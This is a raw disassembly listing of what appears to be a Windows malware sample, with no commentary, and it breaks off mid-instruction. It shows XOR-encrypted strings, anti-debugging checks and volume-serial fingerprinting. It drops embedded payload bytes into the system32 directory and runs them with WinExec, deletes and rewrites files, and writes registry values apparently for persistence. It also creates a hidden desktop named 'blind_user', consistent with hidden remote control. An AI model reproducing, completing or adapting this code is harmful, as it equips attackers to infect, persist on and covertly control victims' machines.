sub_40369B+CDj push 1 push offset byte_447554 call sub_40360B push eax push ebx call sub_40C9F8 add esp, 10h add [ebp+var_3], 1 loc_403757: ; CODE XREF: sub_40369B+A0j movzx eax, [ebp+var_3] mov edx, 20h movzx ecx, [ebp+var_2] sub edx, ecx cmp eax, edx jl short loc_40373D call sub_40C518 ; GetProcessHeap push [ebp+arg_8] push ebx call sub_40C9F8 add esp, 8 pop edi pop esi pop ebx leave retn sub_40369B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403780 proc near ; CODE XREF: sub_40A74E+605p var_3D = dword ptr -3Dh var_39 = byte ptr -39h var_36 = byte ptr -36h var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push esi push edi mov [ebp+var_2], 6F8Fh sub [ebp+var_2], 15BEh lea edi, [ebp+var_39] lea esi, byte_43D197 mov ecx, 3 rep movsb mov [ebp+var_4], 0EF0h inc [ebp+var_4] push 1 push offset word_447552 call sub_40360B push eax lea edi, [ebp+var_36] push edi push [ebp+arg_0] call sub_40369B add esp, 14h lea eax, [ebp+var_36] push eax call sub_40C584 ; GlobalAddAtomA mov eax, dword_43D19A mov [ebp+var_3D], eax pop edi pop esi leave retn sub_403780 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4037DF proc near ; CODE XREF: sub_403883+54p ; .text:00403957p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_43D1A8 lea eax, ds:40F5A0h[eax] push eax call sub_40C998 add esp, 0Ch mov [ebp+var_4], 399h xor edi, edi jmp short loc_403827 ; --------------------------------------------------------------------------- loc_40380D: ; CODE XREF: sub_4037DF+4Aj mov eax, dword_43D1A8 add eax, edi lea eax, ds:40F5A0h[eax] movsx edx, byte ptr [eax] xor edx, 0DFh mov [eax], dl inc edi loc_403827: ; CODE XREF: sub_4037DF+2Cj cmp edi, esi jl short loc_40380D mov [ebp+var_8], 35Ch mov eax, dword_43D1A8 add eax, esi mov byte ptr ds:dword_40F5A0[eax], 0 xor edi, edi mov edi, dword_43D1A8 add dword_43D1A8, 3 mov eax, dword_43D1A8 add eax, 4 add eax, esi mov dword_43D1A8, eax add dword_43D1A8, 2 cmp dword_43D1A8, 0DB1h jle short loc_403879 and dword_43D1A8, 0 loc_403879: ; CODE XREF: sub_4037DF+91j lea eax, dword_40F5A0[edi] pop edi pop esi leave retn sub_4037DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403883 proc near ; CODE XREF: sub_40A74E+6A1p ; sub_40A74E+6BFp var_10A = word ptr -10Ah var_108 = byte ptr -108h var_105 = byte ptr -105h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10Ch push esi push edi call sub_40C4B8 ; GetCurrentProcessId lea edi, [ebp+var_108] lea esi, byte_43D1AC mov ecx, 3 rep movsb mov ax, word_43D1AF mov [ebp+var_10A], ax push [ebp+arg_0] lea eax, [ebp+var_104] push eax call sub_40C9D4 mov [ebp+var_105], 78h sub [ebp+var_105], 4Dh push 1 push offset byte_447550 call sub_4037DF push eax lea edi, [ebp+var_104] push edi call sub_40C9F8 call sub_40C4C4 ; GetCurrentThreadId push [ebp+arg_4] lea eax, [ebp+var_104] push eax call sub_40C9F8 add esp, 20h call sub_40C4B8 ; GetCurrentProcessId lea eax, [ebp+var_104] push eax call sub_40C584 ; GlobalAddAtomA pop edi pop esi leave retn sub_403883 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 114h push esi push edi lea edi, [ebp-113h] lea esi, aAluvia ; "LUVIa" mov ecx, 7 rep movsb mov byte ptr [ebp-105h], 80h sub byte ptr [ebp-105h], 49h push dword ptr [ebp+8] lea eax, [ebp-104h] push eax call sub_40C9D4 push 1 push offset byte_447550 call sub_4037DF push eax lea edi, [ebp-104h] push edi call sub_40C9F8 mov word ptr [ebp-108h], 7ECh sub word ptr [ebp-108h], 4996h push dword ptr [ebp+0Ch] lea eax, [ebp-104h] push eax call sub_40C9F8 add esp, 20h call sub_40C518 ; GetProcessHeap loc_403992: ; CODE XREF: .text:004039E0j lea eax, [ebp-104h] push eax call sub_40C59C ; GlobalFindAtomA mov edi, eax mov [ebp-10Ah], di mov word ptr [ebp-10Ch], 38C0h movzx eax, word ptr [ebp-10Ch] imul eax, 39E2h mov [ebp-10Ch], ax cmp word ptr [ebp-10Ah], 0 jz short loc_4039E2 movzx eax, word ptr [ebp-10Ah] push eax call sub_40C590 ; GlobalDeleteAtom call sub_40C5D8 ; IsDebuggerPresent jmp short loc_403992 ; --------------------------------------------------------------------------- loc_4039E2: ; CODE XREF: .text:004039CCj pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4039E6 proc near ; CODE XREF: sub_403A7B+BFp ; sub_403B8E+5Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_43D1C0 lea eax, ds:41EB80h[eax] push eax call sub_40C998 add esp, 0Ch xor edi, edi jmp short loc_403A23 ; --------------------------------------------------------------------------- loc_403A0C: ; CODE XREF: sub_4039E6+3Fj mov eax, dword_43D1C0 add eax, edi lea eax, ds:41EB80h[eax] movsx edx, byte ptr [eax] xor edx, 5Dh mov [eax], dl inc edi loc_403A23: ; CODE XREF: sub_4039E6+24j cmp edi, esi jl short loc_403A0C mov [ebp+var_4], 229h mov eax, dword_43D1C0 add eax, esi mov byte ptr ds:dword_41EB80[eax], 0 mov edi, dword_43D1C0 add dword_43D1C0, 2 mov eax, dword_43D1C0 lea eax, [eax+esi+5] mov dword_43D1C0, eax inc dword_43D1C0 cmp dword_43D1C0, 0DB0h jle short loc_403A71 and dword_43D1C0, 0 loc_403A71: ; CODE XREF: sub_4039E6+82j lea eax, dword_41EB80[edi] pop edi pop esi leave retn sub_4039E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A7B proc near ; CODE XREF: sub_403B8E+30p ; sub_403D18+146p ... var_1024 = dword ptr -1024h var_101D = byte ptr -101Dh var_1018 = byte ptr -1018h var_1015 = byte ptr -1015h var_1010 = dword ptr -1010h var_100A = word ptr -100Ah var_1008 = dword ptr -1008h var_1003 = byte ptr -1003h var_1000 = byte ptr -1000h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1024h call sub_40C43C push ebx push esi push edi mov ebx, [ebp+arg_0] lea edi, [ebp+var_1015] lea esi, a6Df ; "6~dF" mov ecx, 5 rep movsb lea edi, [ebp+var_1018] lea esi, aU ; "U#" mov ecx, 3 rep movsb lea edi, [ebp+var_101D] lea esi, aN ; "N |$" mov ecx, 5 rep movsb push 0FFFh lea eax, [ebp+var_1003] push eax call sub_40C524 ; GetSystemDirectoryA mov [ebp+var_1008], 7ED1h mov eax, 1108h mul [ebp+var_1008] mov [ebp+var_1024], eax mov [ebp+var_1008], eax mov [ebp+var_1000], 0 push 0FFFh lea eax, [ebp+var_1003] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_1010] push eax push 0FFFh lea eax, [ebp+var_1003] push eax lea eax, [ebp+var_1003] push eax call sub_40C56C ; GetVolumeInformationA push 4 push offset byte_44754B call sub_4039E6 push [ebp+var_1010] push eax push ebx call sub_40C9D4 add esp, 14h call sub_40C518 ; GetProcessHeap and [ebp+var_4], 0 loc_403B58: ; CODE XREF: sub_403A7B+FAj mov eax, [ebp+var_4] mov al, [ebx+eax] cmp al, 41h jge short loc_403B6E cmp al, 30h jle short loc_403B6E mov eax, [ebp+var_4] add eax, ebx add byte ptr [eax], 11h loc_403B6E: ; CODE XREF: sub_403A7B+E5j ; sub_403A7B+E9j inc [ebp+var_4] cmp [ebp+var_4], 8 jb short loc_403B58 mov [ebp+var_100A], 66EDh add [ebp+var_100A], 4344h pop edi pop esi pop ebx leave retn sub_403A7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B8E proc near ; CODE XREF: sub_40A74E+754p var_293 = byte ptr -293h var_28C = byte ptr -28Ch var_289 = byte ptr -289h var_284 = byte ptr -284h var_27F = byte ptr -27Fh var_279 = byte ptr -279h var_276 = dword ptr -276h var_272 = byte ptr -272h var_26C = byte ptr -26Ch var_267 = byte ptr -267h var_163 = byte ptr -163h var_FF = byte ptr -0FFh push ebp mov ebp, esp sub esp, 294h push ebx push esi push edi call sub_40C518 ; GetProcessHeap lea edi, [ebp+var_26C] lea esi, aWdg ; "wD " mov ecx, 5 rep movsb call sub_40C554 ; GetVersion lea eax, [ebp+var_163] push eax call sub_403A7B lea edi, [ebp+var_272] lea esi, aQ85o ; "Q/85O" mov ecx, 3 rep movsw mov eax, dword_4421FE mov [ebp+var_276], eax push 9 push offset byte_447541 call sub_4039E6 lea edi, [ebp+var_163] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_FF] push edi call sub_40C9D4 lea edi, [ebp+var_279] lea esi, word_442202 mov ecx, 3 rep movsb lea eax, [ebp+var_FF] push eax call sub_4034C6 lea edi, [ebp+var_27F] lea esi, a4kzsb ; "4kzsB" mov ecx, 3 rep movsw push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_FF] push eax call sub_40C650 ; CreateFileA mov ebx, eax call sub_40C4C4 ; GetCurrentThreadId push 0 lea eax, [ebp+var_284] push eax push 3621h push offset byte_43EBC5 push ebx call sub_40C6C8 ; WriteFile lea edi, [ebp+var_289] lea esi, aOmy ; "OmY " mov ecx, 5 rep movsb push ebx call sub_40C530 ; CloseHandle call sub_40C4B8 ; GetCurrentProcessId lea edi, [ebp+var_28C] lea esi, aK ; "%K" mov ecx, 3 rep movsb push 104h lea eax, [ebp+var_267] push eax push 0 call sub_40C4F4 ; GetModuleFileNameA call sub_40C4E8 ; RtlGetLastWin32Error push 1 push offset byte_44753F call sub_4039E6 push eax lea edi, [ebp+var_FF] push edi call sub_40C9F8 lea edi, [ebp+var_293] lea esi, aGiyA9 ; "Iy~9" mov ecx, 7 rep movsb lea eax, [ebp+var_267] push eax lea eax, [ebp+var_FF] push eax call sub_40C9F8 add esp, 38h call sub_40C548 ; GetTickCount push 0 lea eax, [ebp+var_FF] push eax call sub_40C6BC ; WinExec pop edi pop esi pop ebx leave retn sub_403B8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403D18 proc near ; CODE XREF: sub_40A74E+2CAp var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F7 = byte ptr -2F7h var_2F0 = byte ptr -2F0h var_2EB = byte ptr -2EBh var_2E6 = byte ptr -2E6h var_2DE = dword ptr -2DEh var_2DA = byte ptr -2DAh var_2D7 = byte ptr -2D7h var_2D0 = byte ptr -2D0h var_26C = word ptr -26Ch var_26A = byte ptr -26Ah var_269 = byte ptr -269h var_205 = byte ptr -205h var_101 = byte ptr -101h var_FB = byte ptr -0FBh var_FA = byte ptr -0FAh var_F9 = byte ptr -0F9h var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch push ebx push esi push edi call sub_40C4C4 ; GetCurrentThreadId lea edi, [ebp+var_2D7] lea esi, aIwKa ; "IW' KA" mov ecx, 7 rep movsb mov ebx, 56F2h inc ebx push 26h push offset dword_447518 call sub_4039E6 mov [ebp+var_2FC], eax call sub_40C9BC mov [ebp+var_300], eax call sub_40C9BC mov [ebp+var_304], eax call sub_40C9BC mov [ebp+var_308], eax call sub_40C9BC mov [ebp+var_30C], eax call sub_40C9BC mov [ebp+var_310], eax call sub_40C9BC mov [ebp+var_314], eax call sub_40C9BC mov [ebp+var_318], eax call sub_40C9BC mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_318] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_314] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_310] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_30C] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_308] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_304] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_300] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_2FC] push edi lea edi, [ebp+var_269] push edi call sub_40C9D4 lea edi, [ebp+var_2DA] lea esi, aR6 ; "R6" mov ecx, 3 rep movsb mov eax, dword_442224 mov [ebp+var_2DE], eax lea eax, [ebp+var_2D0] push eax call sub_403A7B add esp, 34h mov [ebp+var_26A], 10h add [ebp+var_26A], 0B5h lea edi, [ebp+var_2E6] lea esi, aZ0lnyh? ; "Z0LNYh?" movsd movsd lea edi, [ebp+var_2EB] lea esi, aVb6l ; "v6l" mov ecx, 5 rep movsb call sub_40C9BC mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov edi, eax add edi, 41h mov edx, edi mov [ebp+var_101], dl mov [ebp+var_26C], 38B2h add [ebp+var_26C], 66CAh mov [ebp+var_1], 1 jmp short loc_403F04 ; --------------------------------------------------------------------------- loc_403ED4: ; CODE XREF: sub_403D18+1F1j call sub_40C9BC movzx edi, [ebp+var_1] mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov esi, eax add esi, 61h mov edx, esi mov [ebp+edi+var_101], dl add [ebp+var_1], 1 loc_403F04: ; CODE XREF: sub_403D18+1BAj mov al, [ebp+var_1] cmp al, 8 jbe short loc_403ED4 call sub_40C518 ; GetProcessHeap mov [ebp+var_F9], 0 call sub_40C9BC mov edx, eax test dl, 1 jnz short loc_403F4A call sub_40C4E8 ; RtlGetLastWin32Error mov [ebp+var_FB], 33h mov [ebp+var_31C], 38ADh add [ebp+var_31C], 3EBEh mov [ebp+var_FA], 32h loc_403F4A: ; CODE XREF: sub_403D18+209j push 9 push offset word_44750E call sub_4039E6 lea edi, [ebp+var_101] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_205] push edi call sub_40C9D4 call sub_40C518 ; GetProcessHeap lea eax, [ebp+var_205] push eax call sub_4034C6 push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_205] push eax call sub_40C650 ; CreateFileA mov ebx, eax push [ebp+arg_0] mov eax, offset aJifadi32 ; "Jifadi32" push eax call sub_40C9D4 call sub_40C5D8 ; IsDebuggerPresent push 0 lea eax, [ebp+var_2F0] push eax push 1A01h push offset dword_43D1C4 push ebx call sub_40C6C8 ; WriteFile call sub_40C4B8 ; GetCurrentProcessId push ebx call sub_40C530 ; CloseHandle call sub_40C548 ; GetTickCount push 17h push offset word_4474F6 call sub_4039E6 lea edi, [ebp+var_269] push edi push eax lea edi, [ebp+var_101] push edi call sub_40C9D4 call sub_40C5D8 ; IsDebuggerPresent lea eax, [ebp+var_205] push eax push offset byte_4474F5 lea eax, [ebp+var_101] loc_404010: ; DATA XREF: .data:0043F155w ; .data:0043F16Fw ... push eax push 80000000h ; DATA XREF: .data:0043F23Ew call sub_40409A lea edi, [ebp+var_2F7] ; DATA XREF: .data:0043F238r lea esi, aEa0I ; DATA XREF: .data:0043F232r ; "Ea#0 I" mov ecx, 7 ; DATA XREF: .data:0043F22Cr loc_40402C: ; DATA XREF: .data:loc_43F1BDr ; .data:loc_43F1CDr rep movsb push 0Eh loc_404030: ; DATA XREF: .data:0043F0C1w ; .data:0043F0CBw ... push offset word_4474E6 call sub_4039E6 ; DATA XREF: .data:0043F0D3w mov [ebp+var_31C], eax ; DATA XREF: .data:0043F0E0o ; .data:0043F0EEo push 9 push offset dword_4474DC call sub_4039E6 push eax mov edi, [ebp+var_31C] push edi lea edi, [ebp+var_101] push edi push 80000000h call sub_40409A call sub_40C4B8 ; GetCurrentProcessId push 45h push offset word_447496 call sub_4039E6 lea edi, [ebp+var_269] push edi lea edi, [ebp+var_2D0] push edi push eax push 80000002h call sub_40409A ; DATA XREF: .data:0043F070w add esp, 80h ; DATA XREF: .data:0043F075w ; .data:0043F091w ... pop edi pop esi pop ebx sub_403D18 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404098 proc near ; DATA XREF: .data:loc_43F4D9o ; .data:0043F535o ... leave retn sub_404098 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40409A proc near ; CODE XREF: sub_403D18+2FEp ; sub_403D18+348p ... var_B = byte ptr -0Bh arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov ebx, [ebp+arg_C] call sub_40C4B8 ; DATA XREF: sub_43F64C+Co inc dword_43C230 lea edi, [ebp+var_B] lea esi, aN_0 ; "N," sub_40409A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4040BA proc near ; DATA XREF: sub_43F64C+1Co mov ecx, 3 sub_4040BA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4040BF proc near ; DATA XREF: .data:0043FE14o rep movsb and dword ptr [ebp-4], 0 lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40C8C0 ; RegCreateKeyExA call sub_40C518 ; GetProcessHeap mov ecx, ebx or eax, 0FFFFFFFFh loc_4040EF: ; CODE XREF: sub_4040BF+35j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4040EF mov [ebp-8], eax push dword ptr [ebp-8] push ebx push 1 push 0 push dword ptr [ebp+10h] push dword ptr [ebp-4] call sub_40C8F0 ; RegSetValueExA lea edi, [ebp-0Ch] lea esi, byte_44223F mov ecx, 1 rep movsb push dword ptr [ebp-4] call sub_40C8CC ; RegCloseKey pop edi pop esi pop ebx leave retn sub_4040BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404129 proc near ; CODE XREF: sub_4041B6+B5p ; sub_4041B6+D5p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 163h push esi push [ebp+arg_0] mov eax, dword_442248 lea eax, ds:411B80h[eax] push eax call sub_40C998 add esp, 0Ch xor edi, edi jmp short loc_404170 ; --------------------------------------------------------------------------- loc_404156: ; CODE XREF: sub_404129+49j mov eax, dword_442248 add eax, edi lea eax, ds:411B80h[eax] movsx edx, byte ptr [eax] xor edx, 0E0h mov [eax], dl inc edi loc_404170: ; CODE XREF: sub_404129+2Bj cmp edi, esi jl short loc_404156 mov eax, dword_442248 add eax, esi mov byte ptr ds:dword_411B80[eax], 0 mov edi, dword_442248 add dword_442248, 2 mov eax, dword_442248 lea eax, [eax+esi+6] mov dword_442248, eax cmp eax, 0DF7h jle short loc_4041AC and dword_442248, 0 loc_4041AC: ; CODE XREF: sub_404129+7Aj lea eax, dword_411B80[edi] pop edi pop esi leave retn sub_404129 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041B6 proc near ; CODE XREF: sub_40A74E+308p var_14A4 = byte ptr -14A4h var_14A0 = byte ptr -14A0h var_149C = byte ptr -149Ch var_1497 = byte ptr -1497h var_1391 = byte ptr -1391h var_1390 = dword ptr -1390h var_1380 = dword ptr -1380h var_12FC = byte ptr -12FCh var_11FD = byte ptr -11FDh var_FF = byte ptr -0FFh push ebp mov ebp, esp mov eax, 14B4h call sub_40C43C push ebx push esi push edi lea edi, [ebp+var_149C] lea esi, aGxK_0 ; "gx%K" mov ecx, 5 rep movsb lea edi, [ebp-149Fh] lea esi, aJ ; "&j" mov ecx, 3 rep movsb lea edi, [ebp+var_14A4] lea esi, aLkw_0 ; "'lkW" mov ecx, 5 rep movsb push 0FFh lea eax, [ebp+var_12FC] push eax push 0 call sub_40C4F4 ; GetModuleFileNameA call sub_40C5D8 ; IsDebuggerPresent mov [ebp+var_1390], 94h call sub_40C4B8 ; GetCurrentProcessId lea eax, [ebp+var_1390] push eax call sub_40C560 ; GetVersionExA mov [ebp+var_1391], 21h add [ebp+var_1391], 1 cmp [ebp+var_1380], 2 jnz short loc_4042C5 call sub_40C5D8 ; IsDebuggerPresent push 0FFh lea eax, [ebp+var_FF] push eax call sub_40C524 ; GetSystemDirectoryA call sub_40C4E8 ; RtlGetLastWin32Error push 0Fh push offset aUSumjdmofVbf ; "œ" call sub_404129 lea edi, [ebp+var_FF] push edi push eax lea edi, [ebp+var_11FD] push edi call sub_40C9D4 push 0Ah push offset aUGndRij ; "œΐ" call sub_404129 lea edi, [ebp+var_FF] push edi push eax lea edi, [ebp+var_1497] push edi call sub_40C9D4 push 8 push offset aGndEse ; "΅" call sub_404129 push eax lea edi, [ebp+var_FF] push edi call sub_40C9F8 add esp, 38h jmp loc_40434F ; --------------------------------------------------------------------------- loc_4042C5: ; CODE XREF: sub_4041B6+91j call sub_40C518 ; GetProcessHeap push 0FFh lea eax, [ebp+var_FF] push eax call sub_40C578 ; GetWindowsDirectoryA call sub_40C4C4 ; GetCurrentThreadId push 0Fh push offset aUSumjdmSVbf ; "œ٘" call sub_404129 lea edi, [ebp+var_FF] push edi push eax lea edi, [ebp+var_11FD] push edi call sub_40C9D4 push 0Eh push offset aUGpnnbodRij ; "œΐ" call sub_404129 lea edi, [ebp+var_FF] push edi sub_4041B6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404313 proc near ; DATA XREF: sub_43F74D+1E1o push eax lea edi, [ebp-1497h] push edi call sub_40C9D4 mov byte ptr [ebp-14AAh], 0AAh add byte ptr [ebp-14AAh], 1 push 0Ch push offset aGpnnbodGpn ; "" call sub_404129 push eax lea edi, [ebp-0FFh] push edi call sub_40C9F8 add esp, 38h call sub_40C4C4 ; GetCurrentThreadId loc_40434F: ; CODE XREF: sub_4041B6+10Aj lea eax, [ebp-1497h] push eax call sub_40C488 ; DeleteFileA call sub_40C548 ; GetTickCount push 0 push 80h push 2 push 0 push 0 push 40000000h lea eax, [ebp-11FDh] push eax call sub_40C650 ; CreateFileA mov [ebp-1398h], eax push 39h push offset aMppraAdemUOxma ; "ڌꠄœގꠉœ"... call sub_404129 lea edi, [ebp-11FDh] push edi lea edi, [ebp-12FCh] sub_404313 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40439D proc near ; DATA XREF: sub_43F74D+223o push edi lea edi, [ebp-12FCh] push edi push eax lea edi, [ebp-10FEh] push edi call sub_40C9D4 add esp, 1Ch call sub_40C4C4 ; GetCurrentThreadId lea ecx, [ebp-10FEh] or eax, 0FFFFFFFFh loc_4043C3: ; CODE XREF: sub_40439D+2Bj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4043C3 push 0 lea esi, [ebp-14A8h] push esi push eax lea edi, [ebp-10FEh] push edi push dword ptr [ebp-1398h] call sub_40C6C8 ; WriteFile mov ebx, 3203h mov eax, 0D54h mul ebx mov [ebp-14B0h], eax mov eax, [ebp-14B0h] mov ebx, eax push dword ptr [ebp-1398h] call sub_40C530 ; CloseHandle mov ebx, 7567h mov eax, 67ECh mul ebx mov [ebp-14B4h], eax mov eax, [ebp-14B4h] mov ebx, eax push 8 push offset aUGU ; "œϣœ" call sub_404129 add esp, 8 lea edi, [ebp-11FDh] push edi lea edi, [ebp-0FFh] push edi push eax lea edi, [ebp-10FEh] push edi call sub_40C9D4 add esp, 10h lea edi, [ebp-14A9h] lea esi, byte_442259 mov ecx, 1 rep movsb push 0 lea eax, [ebp-10FEh] push eax call sub_40C6BC ; WinExec pop edi pop esi pop ebx leave retn sub_40439D endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_442264 lea eax, ds:430C70h[eax] push eax call sub_40C998 add esp, 0Ch xor edi, edi jmp short loc_4044B5 ; --------------------------------------------------------------------------- loc_40449E: ; CODE XREF: .text:004044B7j mov eax, dword_442264 add eax, edi lea eax, ds:430C70h[eax] movsx edx, byte ptr [eax] xor edx, 22h mov [eax], dl inc edi loc_4044B5: ; CODE XREF: .text:0040449Cj cmp edi, esi jl short loc_40449E mov eax, dword_442264 add eax, esi mov byte ptr ds:dword_430C70[eax], 0 mov edi, dword_442264 mov eax, edi add eax, 5 add eax, esi mov dword_442264, eax add dword_442264, 3 cmp dword_442264, 0DEDh jle short loc_4044F4 and dword_442264, 0 loc_4044F4: ; CODE XREF: .text:004044EBj and dword ptr [ebp-4], 0 lea eax, dword_430C70[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404502 proc near ; CODE XREF: sub_4062A9+209p ; sub_408C55+E3p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push eax push esi push edi call sub_40C518 ; GetProcessHeap cmp dword_442268, 0 jz short loc_40454C call sub_40C554 ; GetVersion call sub_40C4C4 ; GetCurrentThreadId push eax call sub_40C7DC ; GetThreadDesktop mov [ebp+var_8], eax mov [ebp+var_4], 642Eh sub [ebp+var_4], 2DB0h mov eax, dword_442268 cmp [ebp+var_8], eax jnz short loc_40457F call sub_40C548 ; GetTickCount xor eax, eax inc eax jmp short loc_40458C ; --------------------------------------------------------------------------- loc_40454C: ; CODE XREF: sub_404502+13j push 0 push 0C7h push 0 push 0 push 0 push offset aBlind_user ; "blind_user" call sub_40C7C4 ; CreateDesktopA mov dword_442268, eax call sub_40C548 ; GetTickCount cmp dword_442268, 0 jnz short loc_40457A xor eax, eax jmp short loc_40458C ; --------------------------------------------------------------------------- loc_40457A: ; CODE XREF: sub_404502+72j call sub_40C554 ; GetVersion loc_40457F: ; CODE XREF: sub_404502+3Ej push dword_442268 call sub_40C7D0 ; SetThreadDesktop mov edi, eax loc_40458C: ; CODE XREF: sub_404502+48j ; sub_404502+76j pop edi pop esi leave retn sub_404502 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404590 proc near ; CODE XREF: sub_4062A9+290p ; sub_408C55+15Ep var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_40C554 ; GetVersion mov eax, [ebp+arg_0] lea edx, aBlind_user ; "blind_user" mov [eax+8], edx mov [ebp+var_2], 4A26h movzx eax, [ebp+var_2] imul eax, 0D6Fh mov [ebp+var_2], ax leave retn sub_404590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045BB proc near ; CODE XREF: sub_404657+8Ep ; sub_40470D+9p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 1B1h push esi push [ebp+arg_0] mov eax, dword_442274 lea eax, ds:417650h[eax] push eax call sub_40C998 add esp, 0Ch xor edi, edi jmp short loc_404604 sub_4045BB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4045EF loc_4045EA: ; CODE XREF: sub_4045EF+17j mov eax, dword_442274 ; END OF FUNCTION CHUNK FOR sub_4045EF ; =============== S U B R O U T I N E ======================================= sub_4045EF proc near ; DATA XREF: sub_43F74D+4B8o ; FUNCTION CHUNK AT 004045EA SIZE 00000005 BYTES add eax, edi lea eax, ds:417650h[eax] movsx edx, byte ptr [eax] xor edx, 0E5h mov [eax], dl inc edi loc_404604: ; CODE XREF: sub_4045BB+2Dj cmp edi, esi jl short loc_4045EA mov dword ptr [ebp-8], 21h mov eax, dword_442274 add eax, esi mov byte ptr ds:dword_417650[eax], 0 mov edi, dword_442274 inc dword_442274 mov eax, dword_442274 lea eax, [eax+esi+3] mov dword_442274, eax cmp eax, 0E0Ch jle short loc_404646 and dword_442274, 0 loc_404646: ; CODE XREF: sub_4045EF+4Ej mov dword ptr [ebp-0Ch], 1CAh lea eax, dword_417650[edi] pop edi pop esi leave retn sub_4045EF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404657 proc near ; CODE XREF: sub_405636+6D8p ; sub_405636+768p ... var_112 = byte ptr -112h var_111 = byte ptr -111h var_110 = byte ptr -110h var_10D = byte ptr -10Dh var_107 = byte ptr -107h var_FF = byte ptr -0FFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 124h push ebx push esi push edi mov ebx, [ebp+arg_0] lea edi, [ebp+var_107] lea esi, a@rva2g ; "|@rVA2g" movsd movsd push [ebp+arg_4] push ebx call sub_40C9F8 add esp, 8 lea edi, [ebp+var_10D] lea esi, aAsfA ; "SF=" mov ecx, 3 rep movsw lea edi, [ebp+var_110] lea esi, a1 ; " 1" mov ecx, 3 rep movsb call sub_40C9BC mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge loc_4047AB mov [ebp+var_112], 3Eh movzx eax, [ebp+var_112] imul eax, 5F6Ah mov 